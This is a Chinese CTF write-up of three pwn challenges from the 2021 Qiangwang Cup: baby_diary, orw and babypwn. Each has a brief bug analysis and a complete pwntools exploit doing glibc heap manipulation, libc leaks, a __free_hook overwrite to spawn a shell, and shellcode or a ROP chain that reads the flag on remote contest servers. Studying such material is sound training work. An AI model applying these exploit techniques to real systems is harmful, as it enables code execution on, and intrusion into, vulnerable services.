2021强网杯线上赛 baby_diary [强网先锋]orw babypwn WP
强网杯这次我总共做了 3 道比较简单 pwn 题,还有三道题目学长做了,之后看情况复现一下。剩下 7 道基本上不会,还是需要继续学习
baby_diary
这道题就是 2.29+ libc 的 unlink 利用,详细的利用方法可以参见 CTF-WIKI 和这篇 WP(无耻地推销一下,两篇都是我写的 ^_^)
对于本题而言,主要的漏洞就是读取输入后,sub_1528 会对输入的后一位进行 v2[a2 + 1] = (v2[a2 + 1] & 0xF0) + sub_146E(idx);
的操作,造成 off-by-one。通过构造输入可以修改后一个 chunk 的 size 位,也就是可以向低地址合并实现 chunk overlapping。
不过 2.31 的 unlink 加入了对 chunk 的相邻判断,所以需要用 largebin 的 fd_nextsize 和 bk_nextsize 来辅助。由于读取输入的方式,需要爆破堆地址中的 8 位,1 / 256 的概率。
overlapping 之后 tcache 打 __free_hook 即可
exp:
#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = 'debug'
libc = ELF("./libc-2.31.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def write_diary(size, payload):
sh.sendlineafter(">> ",'1')
sh.sendlineafter("size: ",str(size))
sh.sendafter("content: ",payload)
def read_diary(idx):
sh.sendlineafter(">> ",'2')
sh.sendlineafter("index: ",str(idx))
def delete_diary(idx):
sh.sendlineafter(">> ",'3')
sh.sendlineafter("index: ",str(idx))
for i in range(256):
try:
#sh = process("./baby_diary")
sh = remote("8.140.114.72","1399")
write_diary(0x3D60 + 0x50, 'align\n') # 0
write_diary(0x4A0, 'large bin\n') # 1
write_diary(0x20, 'leak\n') # 2
write_diary(0x20, 'off-by-one next chunk\n') # 3
write_diary(0x4E0, 'off-by-oned\n') # 4
write_diary(0x20, 'protect\n') # 5
delete_diary(1)
write_diary(0x500, 'push\n') # 1
delete_diary(3)
write_diary(0x27, '\x00' * (0x27)) # 3
delete_diary(3)
write_diary(0x20, '\x05' + '\x00' * 0x1F) # 3
write_diary(0x27, '\x0F'.ljust(8,'\x00') + p64(0x501) + '\x78\n') # 6
write_diary(0x27,'pass\n') # 7
write_diary(0xF7,'up\n') # 8
write_diary(0x27,'pass\n') # 9
write_diary(0x27,'pass\n') # 10
write_diary(0x27,'pass\n') # 11
write_diary(0x27,'pass\n') # 12
for i in range(7):
write_diary(0x27,'tcache\n') # 13 - 19
for i in range(13, 20):
delete_diary(i)
delete_diary(7) # statsh
delete_diary(12)
delete_diary(6)
for i in range(7):
write_diary(0x27,'tcache\n')
# 6 7 12 13 14 15 16
write_diary(0x27, '\x60\n') # 17
write_diary(0x27, '\x60\n') # 18
delete_diary(4)
write_diary(0x120, '\n') # 4
write_diary(0x140, '\n') # 19
read_diary(9)
sh.recvuntil("content: ")
libc_base = u64(sh.recv(6).ljust(8,'\x00')) - libc.sym["__malloc_hook"] - 0x10 - 0x60
__free_hook = libc_base + libc.sym["__free_hook"]
system = libc_base + libc.sym["system"]
log.success("libc_base: " + hex(libc_base))
delete_diary(10)
write_diary(0x60,p64(0) * 5 + p64(31) + p64(__free_hook) + '\n') # 10
write_diary(0x27,'/bin/sh\x00\n') # 20
write_diary(0x27,p64(system) + '\n') # 21
delete_diary(20)
sh.sendline("echo pwn!")
sh.recvuntil("pwn!")
sh.sendline("cat flag")
sh.interactive()
except:
sh.close()
[强网先锋]orw
在函数 sub_D8E 中,size == 0,时可以无限溢出。而 idx 可以负数,可以对 bss 段任意写。
同时堆栈可执行,又是 partial reload,所以通过负数 idx 改个 got,直接 shellcode orw 即可
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
context.os = 'linux'
context.log_level = 'debug'
#sh = process("./pwn")
sh = remote('39.105.131.68','12354')
sh.sendlineafter(">>\n", '1')
sh.sendlineafter("index:\n",'-25')
sh.sendlineafter('size:\n','0')
payload = ''
payload += 'mov rax,0x67616c662f2e;'
payload += 'push rax;'
payload += 'mov rdi,rsp;'
payload += 'mov rax,2;'
payload += 'mov rsi,0;'
payload += 'mov rdx,0;'
payload += 'syscall;'
payload += 'mov rax,0;'
payload += 'mov rdi,3;'
payload += 'mov rsi,rsp;'
payload += 'mov rdx,0x40;'
payload += 'syscall;'
payload += 'mov rax,1;'
payload += 'mov rdi,1;'
payload += 'mov rsi,rsp;'
payload += 'mov rdx,0x40;'
payload += 'syscall;'
sh.sendlineafter('content:\n', asm(payload))
sh.sendlineafter(">>\n", '4')
sh.sendlineafter('index:\n','0')
sh.interactive()
babypwn
在 sub_EB1 函数中会按字节遍历输入,并将第一个值为 0x11 的字节置零,所以可以 off-by-null。
然后又加了 seccomp 禁了 execve
所以思路就是先 off-by-null 做个低地址合并然后打 __free_hook setcontext 栈迁移 orw。
leak 可以通过 show 函数进行。高 32 位穷举 4 位即可,低 32 位穷举 28 位,大概穷举一百万次即可实现 leak。
exp:
from pwn import *
from z3 import *
from ctypes import *
context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
#sh = process("./babypwn")
sh = remote("39.105.130.158",8888)
libc = ELF("./libc.so.6")
def add(size):
sh.sendlineafter(">>> \n",str(1))
sh.sendlineafter("size:\n",str(size))
def delete(idx):
sh.sendlineafter(">>> \n",str(2))
sh.sendlineafter("index:\n",str(idx))
def edit(idx, payload):
sh.sendlineafter(">>> \n",str(3))
sh.sendlineafter("index:\n",str(idx))
sh.sendafter("content:\n",payload)
def show(idx):
sh.sendlineafter(">>> \n",str(4))
sh.sendlineafter("index:\n",str(idx))
def count(chip_int32,guess_val,shift):
counter = 0
while(1):
a = guess_val + (counter << shift)
for i in range(2):
a^=((((32*a) & 0xFFFFFFFF)^((a^((32*a) & 0xFFFFFFFF))>>17)^((((32*a) & 0xFFFFFFFF)^a^((a^((32*a) & 0xFFFFFFFF))>>17))<<13)) & 0xFFFFFFFF)
a &= 0xFFFFFFFF
if (a == chip_int32):
break
counter += 1
if (guess_val > 0xFFFFFFFF):
print "fuck"
break
return guess_val + (counter << shift)
for i in range(8):
add(0x1F8)
edit(7,'\x00'.ljust(0x1F0,'\x00') + p64(0x1D0))
add(0x28) # 8
add(0x28) # 9
add(0x28) # 10
add(0x28) # 11
add(0x28) # 12
add(0x200) # 13
add(0x28) # 14 protect
for i in range(7):
delete(i)
add(0x1F8) # 0
show(0)
chip_low = int(sh.recvuntil('\n',drop = True), base = 16)
chip_high = int(sh.recvuntil('\n',drop = True), base = 16)
log.success("chip_low:" + hex(chip_low))
log.success("chip_high:" + hex(chip_high))
heap_addr_low = count(chip_low, 0x6B0, 12)
heap_addr_high = count(chip_high, 0x5500, 0)
heap_base = heap_addr_high << 32 | heap_addr_low - 0x16B0
log.success("heap_base: " + hex(heap_base))
delete(0)
# wait for decrypt
delete(7)
add(0x28) # 0
show(0)
chip_low = int(sh.recvuntil('\n',drop = True), base = 16)
chip_high = int(sh.recvuntil('\n',drop = True), base = 16)
log.success("chip_low:" + hex(chip_low))
log.success("chip_high:" + hex(chip_high))
libc_addr_low = count(chip_low, 0xE90, 12)
libc_addr_high = count(chip_high, 0x7F00, 0)
libc_addr = libc_addr_high << 32 | libc_addr_low
log.success(hex(libc_addr))
libc_base = libc_addr - libc.sym["__malloc_hook"] - 0x10 - 0x250
log.success("libc_base: " + hex(libc_base))
pop_rdi_ret = p64(libc_base + 0x2155F)
pop_rsi_ret = p64(libc_base + 0x23E6A)
pop_rdx_ret = p64(libc_base + 0x1B96)
open_addr = p64(libc_base + libc.sym["open"])
read_addr = p64(libc_base + libc.sym["read"])
write_addr = p64(libc_base + libc.sym["write"])
setcontext = p64(libc_base + 0x520A5)
__free_hook = p64(libc_base + libc.sym["__free_hook"])
flag_addr = heap_base + 0x1C60 + 0xE8
orw_chain = ''
orw_chain += pop_rdi_ret + p64(flag_addr)
orw_chain += pop_rsi_ret + p64(0)
#orw_chain += pop_rdx_ret + p64(0)
orw_chain += open_addr
orw_chain += pop_rdi_ret + p64(3)
orw_chain += pop_rsi_ret + p64(heap_base + 0x100)
orw_chain += pop_rdx_ret + p64(0x40)
orw_chain += read_addr
orw_chain += pop_rdi_ret + p64(1)
orw_chain += pop_rsi_ret + p64(heap_base + 0x100)
orw_chain += pop_rdx_ret + p64(0x40)
orw_chain += write_addr
payload = orw_chain + './flag\x00'
payload = payload.ljust(0xA0, '\x00')
payload += p64(heap_base + 0x1C60 - 0x10) + p64(libc_base + 0x221a2) # 0xB0
payload += p64(0) * 4
payload += pop_rdi_ret
payload += p64(0x31) + __free_hook + './flag.txt'
print hex(len(payload))
edit(13,'a'.ljust(0x1F8,'a') + p64(0x41))
edit(12,'a' * 0x28)
edit(12,p64(0) * 4 + p64(0x2C0))
delete(13)
delete(11)
add(0x170) # 1
add(0x200) # 2
edit(2, payload)
add(0x28) # 3
add(0x28) # 4
edit(4, setcontext)
delete(2)
sh.interactive()